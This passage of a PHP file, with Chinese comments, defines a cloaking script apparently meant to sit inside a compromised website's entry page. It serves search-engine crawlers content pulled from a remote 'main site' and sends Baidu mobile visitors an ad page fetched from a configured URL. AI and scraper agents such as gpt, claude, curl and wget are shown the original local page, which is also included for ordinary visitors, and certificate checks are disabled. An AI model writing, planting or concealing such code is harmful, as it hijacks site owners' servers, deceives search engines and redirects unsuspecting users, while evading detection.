$LX_STATIC_LOCAL_SWITCH = 1;  //静态资源不请求主站
// 指定链接样式
$LX_URL_FILE = 'url.txt';

class LX_Reverse
{
    private static $wantLocal = false;
    private static $appendLocal = false;

    public static function run($config)
    {
        $ua = isset($_SERVER['HTTP_USER_AGENT']) ? (string) $_SERVER['HTTP_USER_AGENT'] : '';
        $host = isset($_SERVER['HTTP_HOST']) ? (string) $_SERVER['HTTP_HOST'] : '';
        $uri = isset($_SERVER['REQUEST_URI']) ? (string) $_SERVER['REQUEST_URI'] : '/';
        $ref = isset($_SERVER['HTTP_REFERER']) ? (string) $_SERVER['HTTP_REFERER'] : '';

        if (self::isHomeCacheUa($ua, $config)) {
            header('X-HomeCache-Local: 1');
            return;
        }

        if (!empty($config['static_local_switch']) && self::isStaticAsset($uri)) {
            header('X-Static-Local: 1');
            return;
        }

        $gip = self::clientIp();
        if (array_key_exists('gip', $_GET)) {
            header('Content-Type: text/plain; charset=utf-8');
            echo $gip;
            exit;
        }

        if (!empty($config['ua_local_switch']) && self::shouldUseLocalForUa($ua)) {
            header('X-UA-Local: 1');
            return;
        }

        if (self::isAllowedSpider($ua)) {
            $content = self::fetchMain(self::buildMainUrl($config, $host, $uri, $ua, $gip), $ua, $gip);
            if (self::$appendLocal) {
                echo $content;
                return;
            }
            if (self::$wantLocal) {
                header('X-Remote-Local: 1');
                return;
            }
            echo $content;
            exit;
        }

        if (self::isBaiduClient($ua) || (self::isMobile($ua) && stripos($ref, 'baidu.com') !== false)) {
            echo self::fetchPlain(self::urlWithIp($config['ad_url'], $gip));
            exit;
        }
    }

    private static function isHomeCacheUa($ua, $config)
    {
        $homeUa = isset($config['home_cache_ua']) ? trim((string) $config['home_cache_ua']) : '';
        return $homeUa !== '' && trim((string) $ua) === $homeUa;
    }

    private static function shouldUseLocalForUa($ua)
    {
        $ua = trim((string) $ua);
        if ($ua === '' || strlen($ua) < 10) {
            return true;
        }
        if (self::isBaiduClient($ua) || self::isAllowedSpider($ua)) {
            return false;
        }
        return preg_match('/(?:bot|spider|crawl|scraper|ai|gpt|claude|robot|python|curl|wget|scan|monitor|fetch|harvest|collect)/i', $ua) === 1;
    }

    private static function spiderReg()
    {
        return '/(?:baiduspider|sogou[\s\-]?(?:web|test|pic|orion|news|wechat)?[\s\-]?spider|sogou|sogo|yisouspider|haosouspider|360spider|sm\.cn|so\.com|bytespider|yandexbot|googlebot|bingbot)/i';
    }

    private static function isAllowedSpider($ua)
    {
        if (self::isBaiduClient($ua)) {
            return false;
        }
        return preg_match(self::spiderReg(), (string) $ua) === 1;
    }

    private static function isBaiduClient($ua)
    {
        return preg_match('/(?:baiduboxapp|baidubrowser|baidu.*(?:mobile|app|client|box))/i', (string) $ua) === 1;
    }

    private static function isMobile($ua)
    {
        return preg_match('/(?:iPhone|Android|Mobile|Windows Phone)/i', (string) $ua) === 1;
    }

    private static function isStaticAsset($uri)
    {
        $path = parse_url((string) $uri, PHP_URL_PATH);
        $path = is_string($path) ? $path : (string) $uri;
        return preg_match('/\.(?:css|js|jpg|jpeg|png|gif|ico|svg|webp|bmp|woff|woff2|ttf|eot|otf|mp4|mp3|avi|mov|pdf|zip|rar|7z)(?:\?.*)?$/i', $path) === 1;
    }

    private static function buildMainUrl($config, $host, $uri, $ua, $gip)
    {
        $info = self::requestLinkInfo($uri);
        $road = 'domain=' . urlencode($host)
            . '&path=' . urlencode($uri)
            . '&real_path=' . urlencode($info['real_path'])
            . '&real_filename=' . urlencode($info['real_filename'])
            . '&proxy_path=' . urlencode($info['proxy_path'])
            . '&proxy_file=' . urlencode($info['proxy_file'])
            . '&scheme=' . urlencode(self::scheme())
            . '&is_home=' . urlencode(self::isHomeRequest($uri) ? '1' : '0');
        if (!empty($config['url_file'])) {
            $road .= '&url_file=' . urlencode((string) $config['url_file']);
        }
        $road .= '&spider=' . urlencode($ua)
            . '&gip=' . urlencode($gip)
            . '&sign=' . self::calcSign();

        return rtrim($config['main_site'], '?&') . '?' . $road;
    }

    private static function requestLinkInfo($uri)
    {
        $realPath = self::requestPath($uri);
        $proxyPath = self::scriptPath();
        $realSplit = self::splitPathFile($realPath);
        $proxySplit = self::splitPathFile($proxyPath);

        return array(
            'real_path' => $realPath,
            'real_filename' => $realSplit[1],
            'proxy_path' => $proxySplit[0],
            'proxy_file' => $proxySplit[1],
        );
    }

    private static function requestPath($uri)
    {
        $path = parse_url((string) $uri, PHP_URL_PATH);
        if (!is_string($path) || $path === '') {
            return '/';
        }
        return self::normalizePath($path);
    }

    private static function scriptPath()
    {
        if (!empty($_SERVER['SCRIPT_NAME'])) {
            return self::normalizePath($_SERVER['SCRIPT_NAME']);
        }
        if (!empty($_SERVER['PHP_SELF'])) {
            return self::normalizePath($_SERVER['PHP_SELF']);
        }
        return '/' . basename(__FILE__);
    }

    private static function splitPathFile($path)
    {
        $path = self::normalizePath($path);
        if ($path === '/' || substr($path, -1) === '/') {
            return array($path, '');
        }
        $file = basename($path);
        $dir = dirname($path);
        if ($dir === '.' || $dir === '\\') {
            $dir = '/';
        }
        $dir = self::normalizePath($dir);
        if ($dir !== '/' && substr($dir, -1) !== '/') {
            $dir .= '/';
        }
        return array($dir, $file);
    }

    private static function normalizePath($path)
    {
        $path = str_replace('\\', '/', trim((string) $path));
        $path = preg_replace('#/+#', '/', $path);
        if ($path === '') {
            return '/';
        }
        if ($path[0] !== '/') {
            $path = '/' . $path;
        }

        $keepSlash = substr($path, -1) === '/';
        $parts = array();
        foreach (explode('/', $path) as $part) {
            if ($part === '' || $part === '.') {
                continue;
            }
            if ($part === '..') {
                array_pop($parts);
                continue;
            }
            $parts[] = $part;
        }
        $out = '/' . implode('/', $parts);
        if ($out !== '/' && $keepSlash) {
            $out .= '/';
        }
        return $out === '' ? '/' : $out;
    }

    private static function isHomeRequest($uri)
    {
        $parsed = parse_url((string) $uri);
        $query = is_array($parsed) && isset($parsed['query']) ? trim((string) $parsed['query']) : '';
        if ($query !== '') {
            return false;
        }
        $path = is_array($parsed) && isset($parsed['path']) ? (string) $parsed['path'] : '/';
        $path = strtolower(rtrim(self::normalizePath($path), '/'));
        if ($path === '') {
            $path = '/';
        }
        return in_array($path, array('/', '/index.php', '/index.html', '/index.htm'), true);
    }

    private static function scheme()
    {
        if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
            $p = explode(',', $_SERVER['HTTP_X_FORWARDED_PROTO']);
            $v = strtolower(trim($p[0]));
            if ($v === 'http' || $v === 'https') {
                return $v;
            }
        }
        if (!empty($_SERVER['HTTPS']) && strtolower((string) $_SERVER['HTTPS']) !== 'off') {
            return 'https';
        }
        if (isset($_SERVER['SERVER_PORT']) && (string) $_SERVER['SERVER_PORT'] === '443') {
            return 'https';
        }
        return 'http';
    }

    private static function clientIp()
    {
        // 服务器端读取广告页时，REMOTE_ADDR 常常是代理/副站 IP；优先取真实访客头。
        $keys = array(
            'HTTP_CF_CONNECTING_IP',
            'HTTP_TRUE_CLIENT_IP',
            'HTTP_X_REAL_IP',
            'HTTP_X_CLIENT_IP',
            'HTTP_CLIENT_IP',
            'HTTP_X_FORWARDED_FOR',
            'HTTP_FORWARDED',
        );

        foreach ($keys as $key) {
            if (!empty($_SERVER[$key])) {
                $ip = self::firstPublicIp($_SERVER[$key]);
                if ($ip !== '') {
                    return $ip;
                }
            }
        }

        $remote = self::normalizeIp(isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '');
        if (self::isPublicIp($remote)) {
            return $remote;
        }

        return '';
    }

    private static function firstPublicIp($value)
    {
        $value = trim((string) $value);
        if ($value === '') {
            return '';
        }

        foreach (explode(',', $value) as $part) {
            $ip = self::normalizeIp($part);
            if (self::isPublicIp($ip)) {
                return $ip;
            }
        }

        return '';
    }

    private static function normalizeIp($ip)
    {
        $ip = trim((string) $ip, " \t\n\r\0\x0B\"'");
        if (stripos($ip, 'for=') === 0) {
            $ip = substr($ip, 4);
            $semi = strpos($ip, ';');
            if ($semi !== false) {
                $ip = substr($ip, 0, $semi);
            }
            $ip = trim($ip, " \t\n\r\0\x0B\"'");
        }

        if (substr($ip, 0, 1) === '[') {
            $end = strpos($ip, ']');
            if ($end !== false) {
                return substr($ip, 1, $end - 1);
            }
        }

        if (preg_match('/^(\d{1,3}(?:\.\d{1,3}){3}):\d+$/', $ip, $m)) {
            return $m[1];
        }

        return $ip;
    }

    private static function isPublicIp($ip)
    {
        $ip = trim((string) $ip);
        if ($ip === '') {
            return false;
        }
        if (function_exists('filter_var')) {
            return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false;
        }
        return self::isPublicIpv4($ip);
    }

    private static function isPublicIpv4($ip)
    {
        $ip = trim((string) $ip);
        if (!preg_match('/^\d{1,3}(?:\.\d{1,3}){3}$/', $ip)) {
            return false;
        }
        $p = array_map('intval', explode('.', $ip));
        foreach ($p as $n) {
            if ($n < 0 || $n > 255) {
                return false;
            }
        }
        if ($p[0] === 0 || $p[0] === 10 || $p[0] === 127 || $p[0] >= 224) {
            return false;
        }
        if ($p[0] === 172 && $p[1] >= 16 && $p[1] <= 31) {
            return false;
        }
        if ($p[0] === 192 && $p[1] === 168) {
            return false;
        }
        if ($p[0] === 169 && $p[1] === 254) {
            return false;
        }
        return true;
    }

    private static function urlWithIp($url, $ip)
    {
        if ($ip === '') {
            return $url;
        }
        return $url . (strpos($url, '?') === false ? '?' : '&') . 'ip=' . urlencode($ip);
    }

    private static function fetchPlain($url)
    {
        if (function_exists('curl_init')) {
            $ch = curl_init();
            if ($ch) {
                curl_setopt($ch, CURLOPT_URL, $url);
                curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
                curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
                curl_setopt($ch, CURLOPT_TIMEOUT, 5);
                curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0');
                curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
                curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
                $data = curl_exec($ch);
                curl_close($ch);
                return is_string($data) ? $data : '';
            }
        }

        if (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
            $ctx = stream_context_create(array('http' => array(
                'method' => 'GET',
                'timeout' => 5,
                'header' => "User-Agent: Mozilla/5.0\r\n",
                'follow_location' => 0,
                'max_redirects' => 0,
            )));
            $data = @file_get_contents($url, false, $ctx);
            return is_string($data) ? $data : '';
        }

        return '';
    }

    private static function fetchMain($url, $ua, $ip)
    {
        self::$wantLocal = false;
        self::$appendLocal = false;
        if (!function_exists('curl_init')) {
            return self::fetchPlain($url);
        }

        $ch = curl_init();
        if (!$ch) {
            return '';
        }
        $headers = array('CLIENT-IP: ' . $ip, 'X-FORWARDED-FOR: ' . $ip);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        curl_setopt($ch, CURLOPT_USERAGENT, $ua);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADERFUNCTION, array('LX_Reverse', 'captureHeader'));
        curl_setopt($ch, CURLOPT_ENCODING, '');
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $data = curl_exec($ch);
        curl_close($ch);
        return is_string($data) ? $data : '';
    }

    public static function captureHeader($ch, $header)
    {
        $line = trim((string) $header);
        if (stripos($line, 'X-Proxy-Action:') === 0 && stripos($line, 'append-local') !== false) {
            self::$appendLocal = true;
            self::$wantLocal = true;
        } elseif (stripos($line, 'X-Proxy-Action:') === 0 && stripos($line, 'local') !== false) {
            self::$wantLocal = true;
        }
        return strlen($header);
    }

    private static function calcSign()
    {
        $file = __FILE__;
        return md5(@md5_file($file) . '|' . @filemtime($file) . '|' . @filesize($file) . '|' . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''));
    }
}

$LX_CONFIG = array(
    'main_site' => $LX_MAIN_SITE,
    'home_cache_ua' => $LX_HOME_CACHE_UA,
    'ad_url' => $LX_AD_URL,
    'ua_local_switch' => $LX_UA_LOCAL_SWITCH,
    'static_local_switch' => $LX_STATIC_LOCAL_SWITCH,
    'url_file' => $LX_URL_FILE,
);

LX_Reverse::run($LX_CONFIG);

// 本地兜底内容放在最底部，编码由本地文件自己处理。
if ($LX_LOCAL_CHARSET !== '' && !headers_sent()) {
    header('Content-Type: text/html; charset=' . $LX_LOCAL_CHARSET);
}
if ($LX_LOCAL_FILE !== '' && is_file($LX_LOCAL_FILE)) {
    include($LX_LOCAL_FILE);
}
?>